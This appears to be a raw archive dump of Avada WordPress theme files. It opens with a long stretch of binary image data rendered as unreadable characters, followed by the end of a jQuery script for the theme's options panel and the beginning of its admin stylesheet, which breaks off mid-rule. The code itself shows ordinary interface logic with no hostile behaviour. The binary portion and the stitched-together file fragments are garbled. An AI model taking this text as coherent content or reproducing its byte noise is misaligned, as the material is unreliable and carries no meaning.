x޷kk}Zu%JmOګ.Xu%4c53~^Sz!ZV]IUۓ4d`ks{,׃{JJ  j)*JZڞ%u "O[cyoXI^wZu%-4$k$"#VSJ^~IORǬTw^wTz!́WSJW^ȬJڞ$MQD<x7uˀ3J^i;۲؟\u(y&`ՕԪڞ$U2ẃWzP{?RBƪ+ij{BTklJR+ik佽 *Jڞ$U&"K>ɡ{9>Pz!A7^aq^M}3pް64^mO\*fUẂWҢ4Mw,iUwkǪ+=YI koY%Sz-cXu%UŁWҒY{˰J%ڻ xz鵌13ת+IK+nU^u/.JUmOJz{_z! eՕsԺ{r滟<^Qz!cՕv8JLD<|CJ6joUvT>qԩM[c=3tỷcՕ8Jv,1ަ]j p;y-"IK+ij"bC֞P[}w7"^$uWEij{{]{{"k n#յJ=^IE V^u?EK/F+TSRJ^$ɁWRqM=x=3\{TjjJRY7o ^пuYMZu%:^IUgkN2U{ߤ+IpTވ8Wת+IpTވ؊\u_\xMXu% ^A8$UǁWRT^{kcՕ$x%P嵷 OYu%ɁWRY{DzJ<zG3kՕ x%̈́v.n%WJ/Dj+if Zu%ix%͜x&yo,^$-4õw^RZSz1fZS{W(Xu%i x%ͼ؀\{w5pyUWɁW`D.佽}Zu%ix% JS{lj$-ABޫ{{H,p4X#`ˁ\u/.JR{x% ^%ת+Iq$^$úWFLL>+Iry{vQ{4E4AGת+IS+IbJR! re huQqZB} $pUWqEZ`JR%x%i "bίV]I$-ükՕ$I쉈OS}%I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$IRQDll<ظϹYn$Ia,"\uƊ[,2hc=4xG4n,(Iy@Dئr$IԢ%y=xfH$#x#bgH`?ֽW$I3`0oD<<辤Z$I4=3?6=KE$I7oDl xEH$x&^$I 9^d"$IxG; /G$I'/+I$էoD<u`k$IRz;F^p $I֡oD;I$i=z56N{=1I$iz36ہו^$I7/8i_tE$Iz\/ވx=y+Ce7W{RJkJ.L$IU?6P{{ .yȽ&t_uH$ixVMa$N)=4Ǘ$IRx#bGM%uX_O)|J)IU96 ~)=7sRJO$I4%USxRJ?cI$Cjw0gWǒ$IRAFEӁL[n>tO!I5{mGf]5ډt;~85h!IR$iHx/A$iXx#b3؎.0/);$I*V Xu$IkZ7u("vҏaW$i؊tsZĿnຒ$IꑢoD ?RJ$gJ#:';$Iz|[[y֣Ehbn/wl#n ?L)=5b-^ˁW@Dl~/ P| K;S["ŗcuJ63"b;]="i g6_#_;?ٮ;k_8cɁ(X;[[0́B4V4k^_|_N)=VvYOZfFmYD~xfl"b#;M{Ps6d1_M)RnYǁV{R"KevN^/ #"?a.niQKב٣۩5ջ.;_ζ| [D ܣhC5ػQD\|#tQx9p ),TވؼFZUڻᴽ;">J~ U_YGGEWfhOFop0򈸜RzԭLނ)i[D^ߋ/Z|'k~vNשIk,MIouoג9Z={݈䋠lZ|x}"}2AD ygEUa-Kwo5gFDc9gDLmu;؝ڎ35#Ğx*DېC;'5w'h佭Ko'⦅mM1Lqi&EC4W{D%[A>VGh"IOv,>]Z6~?w.hd)2sW`wHD\R^47A9xu̠ G=9 jSDB>af?b́W!Mt.гo9S;K7OX'GğjA7.>_}Pe_t]|ݵܣw=ni>PγDv0"[J'ְdg3M{>Rb- h kZyZg8n?N ۖ"⏇z.im~NoN]}i/k}޶oSJwN)k}|z=׽#CV#_[|͞J/klxh[.Ο^RJGĿtfz3e Uqf<7"#+s0rwr[G8N/׭Ky=ȷޓr^ofDMJBk ^=m~y-^oQRJ&C[q-yw{pnJGS|ku!È|[=>n!oy ? |9"<qSJ)=Ǟ^ǮoZK g~}Q /"Ć2~xJ)=޲5CrSgBO]8韫}7YϺ~游|} gKiޙ>ԝZ6sK!Rft64SJO)|_v~NC QJsvK)I)]R:|C˘{[BfJ؎|PN4dK{yKI )tXSR.?p|MwdkpAwsRJw})=nni{eEa9vmJTRt1ynCJw[%>b"oigc-YFċ;v!]3+[oh:hs۸?=c]y gq" s IDATRZR:?wW[NyRt}_:|sz9⩍T]Ճ$ߞxt=!n߅I)}W)uogvaCSO _qZRsЕtxsksuKL6f.w[u佀]WƎ_m;o4Ǯ[4'#Vs`]Z{D̻bRuS_i}k@Ftvxںk\5¥Н%gJY)smis^H0[۶u'yavmn} A?#4_mZ4! DĖQ\¡}8m}K:"u "EXǬ9l7.n 8NCͧx8`xf`y <Ϣk[ ؖ9Qw{9/ƻBotpGDO'!o_{qbloΖ1MmZFD.N_ư0)5ڬ{EĞ]9%\:nJ~a얯{𽖯95x$7RJuz!"B;U6ҵuMohw)R%wRJ7|ٽOme}-Y | Ŵ{chϺٲҶ8;Էv*U-mן ^xwh8^~ {-]KOt H϶,7/<[)xYt6ZT8J҈hSqۙm щH)v҈lx|kͬҝ{Ƌ[>*^~u6U-]'Z%|vnDl R;:2y.ÉRk\-C <&*)R9C%" y|dTk җ!WCG oD~;8^Jx(ȉ5~/p61KE+}8X3Iɯ6kdPEAq$FT۟HJ)J HKكi P.}xݯn3uf#1ʼnz_x"֙wd>oqZ49o%Km6MJx-1 sO? |ewhrtDS+3}RhwυD$4T]9bӒ^.pTws[Ӂ2`D$:pblo\@3RyJxEl0ݧzEg}vҲ@3xpXM> T^y^^w84ZEp0bh, ^[<%"`pҬx w.{0 1;[$*WVP+" ;fU&;9- >n*{0 yĔ+\E*O H0g~e= k3["f鵨%RyJxEkywBH*(siW8&HhsB:Jk(PfO%ry6%ܻ)Q[%C⨆W*O S>m"Y~ x7I=A{Q5+-Nml1fhf_51cw=WE6a&mzT 3- j3p]4%fv1IfwiDK #1AqD "%1"Mxr38p С)1A3zD=F oE%Eic>f̮x[ \`& oE{Z7T YQ͹lS\Dw߭M1o,۝t2a4+TP-QG͈< 3lfsbpbq.bw8ҽAqT+Z!FQ_Q/#݉z #R(%շ0(fxcDi43[ | x 8)pQ[ QtZP[}QytgϠ8Q28/8V=@u5eqD av+>8 (fx;b] ;udg"fvđG/%&wfx;df+C  'ő #R8%gfkUA&i%p-=Q 8w:P:SԆzx0(hw'(V×[!CfA!jb), ե3QL*R%0'0fy0`ǠXg]AFrc kR'JxXr׳nEŒ9AqDzB o=<  >/f%ݛNj׹I ޔ~I}GഠpIEjC45zXmq[f<(Vk޼B iy5+'wp,3H(᭏Y}xk򷁱./5t.tC.V>F!U >$ng`▶&Dk{zŒm{5qT뀙ADzF oMǻxgE^rYD{, orYu!_ㆋI oCZ2RBjaiAT`D`i9QwﺌQQ3zF'WĒˁ_)%r7q^Gf#I_uNӀ$ tyMXZֹfՑrGW̖lԈm FzspxϦnwfkј<[њL tV!&.Fnv[Sc18A #[pI #EnYc޼PJxV<8%0^8<0Z :S[32{%2/g]9(L!vFy:?Ԥx"=7vVrW׾d3X}2 4  0͑!} ;S֐!~s:n=@JঠXiJYCT %ݻԟ5o=Dk}tst%uu1Fڼ0£Aq"t@P%]2'_ U|%ۑk f3SARSf6bKM (sc >0#Aq^ڐ\#P}Ed-@^u)zob79ݣ{VO )O$ZEL0%qJÀBݣy%B( ncHǠG*)R{Jxk,/3]_P3 &w-ޭq0'fQ,67u71iw w?C [sA~&/@Iã~BZ:/ˁ;٤>E+o";afP yFG oP]:lFVn}ğ @o?)ޚ35 Xo|dGIڀS՞ͬ8W)wߟTkޭ /*(8>cOV:pyn7'Jx̦Q2b݁ޣp~)f-ji5R1ğ goCx%%c lґ"9.L:⌺-)&v-VoYѻ #!n]llۏHE |_Ֆ6n~"A_'i#4ކ0UEކTGwT m bpp&طR3j\n"EP~jQbI;|ھ "=ՠ㲷)|gZ;SYq6FJ qIUa˝Φ7GffE-n%?m^w{πBffE> $-igC9wO>C9tI.HJxjkRBӹ CKgpq'nwq"plPuXg-[|]wCx':vWk캂!RJ/IK#{a?Ry 3>qYDm`b!wEq{^luPyΟ&ϒKu'ŴҞ{S uG͉z`b;T25ec rPӁfp$E6e3[\½!7҆6ofkbvݏw%A3?&}ك{|WYs?m.C@)m(3[ޏK u/fˁ''l䓕v!uWؕt wm+(̖IKQ'\hfHz=pZpz6^3!nxhn{0oLӬ*`䍘[p i % ff +7 89w'I|"mT܁ٽet逐(I}'?5wǀ1fݿF?/ϥW3A'R\2TU^Ppf`Nz\x`dvi).6TFJپbۮp*0/loaifwdBgf>wñ}1)+ܽI/WDg_ApJQf6ݿ@jX^SU.3[?( >])EDN@].̂bKryHu,q(WkO꺲X\ޟ\~5tژ{ Lm:U*PfԮj+r-iyc wtJقΈ$w2QCGUN^XJ Ʊ'|mv"myUM!mEl[KheW1T[ 1_ks=}SV%9G6bYw1is6TP~瓺qT򾄶~E>i3%-cffǕ=XfݿHJz{юng=#@Jj:oVɒ/dfwԫ,HUTmm0 It6WV>cf_ }ѕ6 RnҡZ}4t3JvE%-ffHg?RX*fp]]%@3[FJz=}=Lp}Rtn鐏ٚ#RJx[.ץK:}JRssln醙H=&I'G^@d`&I]fjfS.R$ yCe~3Ԯ<2,){ Q w?Ԏe=^~hQlp)m]mP+[}8ӵ*# ޔf^CjU;f)W^Etd"A l%LuI&f3pbiك)RNwNZm.Vs+}*ciw 3k[ْȀ(m2դ2H!UhH~Mhf NQeXF*aa ̖U}܉ϯw!"WSazO&%'R95taEك)K>eiJ0! ēҬq[(w"$?8t֍ ϯeFJZ^F:!6spff!I24Kv;u%p pcJGHK:yܖgE$^\{pCN~^=2޾KInlp_IJNd/_yMUUmK} IMQ y}oS$^޻G<C ߻ x>)n6l"71`6oɥ7Da,)Y(z RHNx)PN/yϥCHKJp5%HTe ZZ Jd2dk0i|ϛ}i R<إ˰kH lQlI,y|4s𤕧Ť?KsiX^PK쎀8IelZof)^X~xϸە g[f}'{|3y'~8_ş}תለ%b_IDATm
    ' ); // On pattern image click update the preview jQuery( '.fusion_theme_options-bg_pattern' ).find( 'ul li img' ).on( 'click', function() { var $background = 'url("' + jQuery( this ).attr( 'src' ) + '") repeat'; jQuery( '.fusion-pattern-preview' ).css( 'background', $background ); }); // Color picker fallback for pre WP 4.4 versions jQuery( '.wp-color-result' ).on( 'click', function() { jQuery( this ).parent().addClass( 'wp-picker-active' ); }); jQuery( '.fusion_theme_options-header_layout img' ).on( 'click', function() { // Auto adjust main menu height var $headerVersion = jQuery( this ).attr( 'alt' ), $mainMenuHeight = '0'; if ( 'v1' === $headerVersion || 'v2' === $headerVersion || 'v3' === $headerVersion || 'v7' === $headerVersion ) { $mainMenuHeight = '84'; } else { $mainMenuHeight = '40'; } jQuery( 'input#nav_height' ).val( $mainMenuHeight ); // Auto adjust logo margin if ( 'v4' === $headerVersion ) { jQuery( '.fusion_theme_options-logo_margin .fusionredux-spacing-bottom, .fusion_theme_options-logo_margin #logo_margin-bottom' ).val( '0px' ); } else { jQuery( '.fusion_theme_options-logo_margin .fusionredux-spacing-bottom, .fusion_theme_options-logo_margin #logo_margin-bottom' ).val( '31px' ); } jQuery( '.fusion_theme_options-logo_margin .fusionredux-spacing-top, .fusion_theme_options-logo_margin #logo_margin-top' ).val( '31px' ); // Auto adjust header v2 topbar color if ( 'v2' === $headerVersion ) { jQuery( '.fusion_theme_options-header_top_bg_color #header_top_bg_color-color' ).val( '#fff' ); } else { jQuery( '.fusion_theme_options-header_top_bg_color #header_top_bg_color-color' ).val( jQuery( '#primary_color-color' ).val() ); } }); jQuery( '#fusion_options-header_position label' ).on( 'click', function() { var $headerPosition = jQuery( this ).find( 'span' ).text(), $headerVersion = jQuery( '.fusion_theme_options-header_layout' ).find( '.fusionredux-image-select-selected img' ).attr( 'alt' ), $mainMenuHeight; // Auto adjust main menu height if ( 'top' === $headerPosition.toLowerCase() ) { if ( 'v1' === $headerVersion || 'v2' === $headerVersion || 'v3' === $headerVersion ) { $mainMenuHeight = '84'; } else { $mainMenuHeight = '40'; } } else { $mainMenuHeight = '40'; } jQuery( 'input#nav_height' ).val( $mainMenuHeight ); // Auto set header padding jQuery( '.fusion_theme_options-header_padding input' ).val( '0px' ); if ( 'top' !== $headerPosition.toLowerCase() ) { jQuery( '.fusion_theme_options-header_padding input.fusionredux-spacing-left, .fusion_theme_options-header_padding #header_padding-left, .fusion_theme_options-header_padding input.fusionredux-spacing-right, .fusion_theme_options-header_padding #header_padding-right' ).val( '60px' ); } // Auto adjust logo margin jQuery( '.fusion_theme_options-logo_margin .fusionredux-spacing-top, .fusion_theme_options-logo_margin #logo_margin-top, .fusion_theme_options-logo_margin .fusionredux-spacing-bottom, .fusion_theme_options-logo_margin #logo_margin-bottom' ).val( '31px' ); if ( 'top' === $headerPosition.toLowerCase() && 'v4' === $headerVersion ) { jQuery( '.fusion_theme_options-logo_margin .fusionredux-spacing-bottom, .fusion_theme_options-logo_margin #logo_margin-bottom' ).val( '0px' ); } }); // Listen for changes to header position and reset to 1 if changing away from top. jQuery( '.fusion_theme_options-header_position' ).on( 'change', function() { var $widthVal = jQuery( '#menu_arrow_size-width' ).val(), $heightVal = jQuery( '#menu_arrow_size-height' ).val(), $widthDimension = jQuery( '#menu_arrow_size .fusionredux-dimensions-width, #menu_arrow_size-width' ), $heightDimension = jQuery( '#menu_arrow_size .fusionredux-dimensions-height, #menu_arrow_size-height' ); if ( 'top' !== jQuery( this ).find( '.ui-state-active' ).prev( 'input' ).val() ) { if ( parseInt( $widthVal ) > parseInt( $heightVal ) ) { $widthDimension.val( $heightVal ); $heightDimension.val( $widthVal ); } } else if ( parseInt( $heightVal ) > parseInt( $widthVal ) ) { $widthDimension.val( $heightVal ); $heightDimension.val( $widthVal ); } }); function fusionMenuHint() { var $logoHeight = jQuery( '.fusion_theme_options-logo .upload-height' ).val(), $logoTopMargin = ( '' === jQuery( 'input[rel="logo_margin-top"]' ).val() ) ? '0' : jQuery( 'input[rel="logo_margin-top"]' ).val(), $logoBottomMargin = ( '' === jQuery( 'input[rel="logo_margin-bottom"]' ).val() ) ? '0' : jQuery( 'input[rel="logo_margin-bottom"]' ).val(), $fullLogoHeight = '', $headerVersion = jQuery( '.fusion_theme_options-header_layout' ).find( '.fusionredux-image-select-selected img' ).attr( 'alt' ); if ( 'undefined' !== typeof $logoTopMargin && ( -1 !== $logoTopMargin.indexOf( 'px' ) || '0' === $logoTopMargin ) && ( -1 !== $logoBottomMargin.indexOf( 'px' ) || '0' === $logoBottomMargin ) && $logoHeight && 'v4' !== $headerVersion && 'v5' !== $headerVersion && 'v6' !== $headerVersion ) { $fullLogoHeight = parseInt( $logoHeight ) + parseInt( $logoTopMargin ) + parseInt( $logoBottomMargin ); jQuery( '#fusion-menu-height-hint strong' ).html( $fullLogoHeight ); jQuery( '#fusion-menu-height-hint' ).fadeIn( 'fast' ); jQuery( '#fusion-menu-height-hint' ).css( 'display', 'inline' ); } else { jQuery( '#fusion-menu-height-hint' ).hide(); } } // Trigger on load. fusionMenuHint(); // When we load the menu tab, recalculate menu hint. jQuery( 'a[data-css-id="heading_menu_section"], a[data-css-id="heading_menu"]' ).on( 'click', function() { fusionMenuHint(); }); // Listen for changes to medium and update large description. jQuery( '#visibility_medium, .fusion_theme_options-visibility_medium noUi-handle' ).on( 'change update click', function() { jQuery( '#fusion-visibility-large span' ).html( jQuery( this ).val() ); }); jQuery( '#animations_shortcode_section_start_accordion' ).prev( '.form-table' ).remove(); }); jQuery( window ).on( 'load', function() { // If search field is not empty, make sidebar accessible again when an item is clicked and clear the search field jQuery( '.fusionredux-sidebar a' ).on( 'click', function() { var $tabToActivate, $tabToActivateID, $fusionreduxOptionTabExtras; if ( '' !== jQuery( '.fusionredux_field_search' ).val() ) { if ( jQuery( this ).parent().hasClass( 'hasSubSections' ) ) { $tabToActivateID = jQuery( this ).data( 'rel' ) + 1; } else { $tabToActivateID = jQuery( this ).data( 'rel' ); } $tabToActivate = '#' + $tabToActivateID + '_section_group'; $fusionreduxOptionTabExtras = jQuery( '.fusionredux-container' ).find( '.fusionredux-section-field, .fusionredux-info-field, .fusionredux-notice-field, .fusionredux-container-group, .fusionredux-section-desc, .fusionredux-group-tab h3, .fusionredux-accordion-field' ); // Show the correct tab jQuery( '.fusionredux-main' ).find( '.fusionredux-group-tab' ).not( $tabToActivate ).hide(); jQuery( '.fusionredux-accordian-wrap' ).hide(); $fusionreduxOptionTabExtras.show(); jQuery( '.form-table tr' ).show(); jQuery( '.form-table tr.hide' ).hide(); jQuery( '.fusionredux-notice-field.hide' ).hide(); jQuery( '.fusionredux-container' ).removeClass( 'fusion-redux-search' ); jQuery( '.fusionredux_field_search' ).val( '' ); jQuery( '.fusionredux_field_search' ).trigger( 'change' ); } }); jQuery( '.fusionredux_field_search' ).typeWatch({ callback: function( $searchString ) { var $tab; $searchString = $searchString.toLowerCase(); if ( '' !== $searchString && null !== $searchString && 'undefined' !== typeof $searchString && $searchString.length > 2 ) { jQuery( '.fusionredux-sidebar .fusionredux-group-menu' ).find( 'li' ).removeClass( 'activeChild' ).removeClass( 'active' ); jQuery( '.fusionredux-sidebar .fusionredux-group-menu' ).find( '.submenu' ).hide(); jQuery( '.fusionredux-sidebar .fusionredux-group-menu' ).find( '.subsection' ).hide(); } else { $tab = jQuery.cookie( 'fusionredux_current_tab' ); if ( jQuery( '#' + $tab + '_section_group_li' ).parents( '.hasSubSections' ).length ) { jQuery( '#' + $tab + '_section_group_li' ).parents( '.hasSubSections' ).addClass( 'activeChild' ); jQuery( '#' + $tab + '_section_group_li' ).parents( '.hasSubSections' ).find( '.submenu' ).show(); jQuery( '#' + $tab + '_section_group_li' ).parents( '.hasSubSections' ).find( '.subsection' ).show(); } jQuery( '#' + $tab + '_section_group_li' ).addClass( 'active' ); } }, wait: 500, highlight: false, captureLength: 0 } ); }); jQuery.fn.set_social_media_repeater_custom_field_logic = function() { jQuery( this ).each( function( i, obj ) { var $iconSelect = jQuery( '#icon-' + i + '-select' ), $customFields = jQuery( '#' + fusionFusionreduxVars.option_name + '-custom_title-' + i + ', #' + fusionFusionreduxVars.option_name + '-custom_source-' + i ); // Get the initial value of the select input and depending on its value // show or hide the custom icon input elements if ( 'custom' == $iconSelect.val() ) { // Show input fields & headers $customFields.show(); $customFields.prev().show(); } else { // Hide input fields & headers $customFields.hide(); $customFields.prev().hide(); } if ( ! $iconSelect.val() ) { $iconSelect.parents( '.ui-accordion-content' ).css( 'height', '' ); } // Check if the value of the select has changed and show/hide the elements conditionally. $iconSelect.on( 'change', function() { $iconSelect.parents( '.ui-accordion-content' ).css( 'height', '' ); if ( 'custom' == jQuery( this ).val() ) { // Show input fields & headers $customFields.show(); $customFields.prev().show(); } else { // Hide input fields & headers $customFields.hide(); $customFields.prev().hide(); } }); }); }; function fusionOpenOption( $hrefTarget ) { var $optionTarget, $tabTarget, $adminbarHeight, $theTarget; if ( 'object' === typeof $hrefTarget ) { $hrefTarget = $hrefTarget[1]; } // If it doesn't contains tab- then assume as option. if ($hrefTarget.indexOf( 'tab-' ) == -1 ) { $optionTarget = '.fusion_theme_options-' + $hrefTarget; $tabTarget = jQuery( $optionTarget ).parents( '.fusionredux-group-tab' ).data( 'rel' ); $adminbarHeight = 0; if ( $tabTarget ) { // Check if target element exists. $theTarget = jQuery( 'a[data-key="' + $tabTarget + '"]' ); if ( $theTarget ) { setTimeout( function() { // Open desired tab. jQuery( 'a[data-key="' + $tabTarget + '"]' ).click(); if ( 'heading_shortcode_styling' == $theTarget.data( 'css-id' ) || 'fusion_builder_elements' == $theTarget.data( 'css-id' ) || 'fusion_builder_addons' == $theTarget.data( 'css-id' ) ) { jQuery( $optionTarget ).parents( '.fusionredux-accordian-wrap' ).prev( 'div' ).click(); } setTimeout( function() { // Scroll to the desired option. if ( jQuery( '#wpadminbar' ).length ) { $adminbarHeight = parseInt( jQuery( '#wpadminbar' ).outerHeight() ); } jQuery( 'html, body' ).animate({ scrollTop: jQuery( $optionTarget ).closest( 'tr' ).offset().top - $adminbarHeight }, 450 ); }, 200 ); }, 100 ); } } } else { $tabTarget = $hrefTarget.split( '-' ); $theTarget = jQuery( 'a[data-css-id="' + $hrefTarget + '"]' ); // Check if desired tab exists. if ( $theTarget.length ) { // Open desired tab. setTimeout( function() { $theTarget.click(); }, 100 ); } } } jQuery( window ).on( 'load', function() { var $hrefTarget; // Check option name and open relevant tab. if ( location.hash ) { $hrefTarget = window.location.href.split( '#' ); fusionOpenOption( $hrefTarget ); } jQuery( '.fusionredux-container' ).on( 'click', '.fusion-quick-option', function( event ) { var option = jQuery( event.target ).data( 'fusion-option' ); event.preventDefault(); fusionOpenOption( option ); } ); // If we are in a modern browser cleanup HubSpot API parameters. if ( 'function' === typeof URL && 'function' === typeof URLSearchParams && window.location.href.includes( 'hubspot' ) ) { let url = new URL( window.location.href ); let params = new URLSearchParams( url.search.slice( 1 ) ); params.delete( 'revoke_hubspot' ); params.delete( 'hubspot' ); params.delete( 'token' ); params.delete( 'refresh' ); params.delete( 'expires' ); params.delete( 'error' ); window.history.replaceState({}, document.title, window.location.pathname + '?' + params.toString() ); } }); jQuery( document ).ready( function() { // Check to see if the Ajax Notification is visible. if ( jQuery( '#remote-media-found-in-fusion-options' ).length > 0 ) { jQuery( '#dismiss-fusion-redux-ajax-notification' ).on( 'click', function( event ) { event.preventDefault(); // Initiate a request to the server-side jQuery.post( ajaxurl, { action: 'fusionredux_hide_remote_media_admin_notification', nonce: jQuery.trim( jQuery( '#fusion-redux-remote-media-ajax-notification-nonce' ).text() ) }, function( response ) { if ( '1' === response || 1 === response || true === response ) { jQuery( '#remote-media-found-in-fusion-options' ).hide(); } console.log( response ); }); }); } }); function awbValidateStripeApiKey( e ) { // jshint ignore:line var $el = jQuery( e.target ).closest( '.fusion_options' ); mode = jQuery( e.target ).data( 'mode' ), secretKey = 'live' === mode ? jQuery( '#stripe_button_live_secret_key' ).val() : jQuery( '#stripe_button_test_secret_key' ).val(), data = { action: 'awb_validate_stripe_api_key', secretkey: secretKey }; e.preventDefault(); $el.find( '.spinner.fusion-spinner' ).addClass( 'is-active' ); jQuery.post( ajaxurl, data, function( resp ) { $el.find( '.spinner.fusion-spinner' ).removeClass( 'is-active' ); alert( resp.data ); // jshint ignore: line } ); } Avada/includes/lib/inc/redux/assets/style.css000064400000376705152342437710015242 0ustar00.box-sizing-border { box-sizing: border-box; } .no-border-radius { border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; } .no-box-shadow { box-shadow: none !important; } .transition { transition: all 200ms ease-in-out; } .select3-drop { border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; background: #F4F2F2; border: 1px solid rgba(0, 0, 0, 0.05); box-shadow: none !important; } .select3-drop.select3-drop-active, .select3-drop.select3-drop-active.select3-drop-above { border: 1px solid rgba(0, 0, 0, 0.05); } .admin-color-fresh .select3-drop.select3-drop-active, .admin-color-fresh .select3-drop.select3-drop-active.select3-drop-above { border: 1px solid rgba(0, 0, 0, 0.05); } .select3-drop .select3-results { margin: 0; padding-left: 0; max-height: 300px; } .select3-drop .select3-results .select3-result:last-of-type { margin-bottom: 0; } .select3-drop .select3-results .select3-result-label { padding: 0 0.75em; height: 29px; line-height: 29px; overflow: hidden; } .fusionredux-container-switch .switch-options .cb-enable { border-top-left-radius: 4px !important; border-bottom-left-radius: 4px !important; } .fusionredux-container-switch .switch-options .cb-disable { border-top-right-radius: 4px !important; border-bottom-right-radius: 4px !important; } .fusionredux-container-switch .switch-options input { display: block; } .fusionredux-container { max-width: 1200px; border-radius: 0.35em; border: none; box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.06), 0px 1px 3px rgba(0, 0, 0, 0.1); font-size: 16px; } .fusionredux-container #fusionredux-form-wrapper { font-size: 13px; } .fusionredux-container .sticky-save-warn .fusionredux-save-warn { max-width: 850px; left: 433px; } .fusionredux-container #fusionredux-footer { right: inherit !important; background-color: #f8f8f8 !important; } .fusionredux-container .fusionredux-main .form-table tr { border-bottom: 1px solid #dfdfdf; } .fusionredux-container .fusionredux-main .form-table tr.hidden { display: none !important; } .fusionredux-container #fusionredux-form-wrapper { background-color: $color_back_2; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab { position: relative; padding: 0 30px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab.accordionsChecked > .form-table .fusionredux_field_th { display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab.accordionsChecked > h2 + .form-table { display: table; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-accordian-wrap { padding: 10px 25px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-accordian-wrap table tr:last-of-type { display: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-accordion-field:last-of-type { margin-top: 60px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-accordion-field .fusionredux-accordion-info { padding: 10px 25px; border-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-accordion-field .fusionredux-accordion-info .el { margin: -23px 0 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab.hidden-section-heading > h2 { display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab > h2, .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusion_theme_options-fusionredux_import_export > h2, .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-field-info { margin: 3em 0 2em; padding: 8px 15px; background-color: #f8f8f8; line-height: 1.5; border-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-field-info .fusionredux-info-desc { margin: 0; padding: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-field-info .fusionredux-info-desc b { font-size: 1.3em; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .fusionredux-container-info { display: none; } .fusionredux-container #fusionredux-form-wrapper .button, .fusionredux-container #fusionredux-form-wrapper .button-primary { text-shadow: none; border-radius: 0; box-shadow: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar { width: 250px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > .fusionredux-group-tab-link-li > a { font-size: 14px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li > a { background-color: $color_back_2; color: $color_text_menu_top_level; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li > a:hover { background-color: $color_back_top_level_hover; color: $color_text_menu_top_level_hover; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li.active > a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li.activeChild > a { background-color: $color_back_top_level_active; color: $color_text_menu_top_level_active; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li .subsection { padding: 6px 0; background-color: $color_back_1; width: 100% !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li .subsection li a { background-color: $color_back_1; color: $color_text_menu_sub_level; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li .subsection li a:hover { color: $color_text_menu_sub_level_hover; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li .subsection li.active > a { color: $color_text_menu_sub_level_active; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li a { font-weight: 400; opacity: 1; text-shadow: none !important; border: none !important; padding: 8px 4px 8px 25px; width: 221px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections { display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.active a a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild a a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.active a ul.subsection, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild a ul.subsection, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection { width: 221px; font-weight: 400; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.active a a li.active a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild a a li.active a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a li.active a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.active a ul.subsection li.active a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild a ul.subsection li.active a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a { font-weight: 700; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.active a a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild a a, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a { font-weight: 400; } .fusionredux-container #fusionredux-form-wrapper 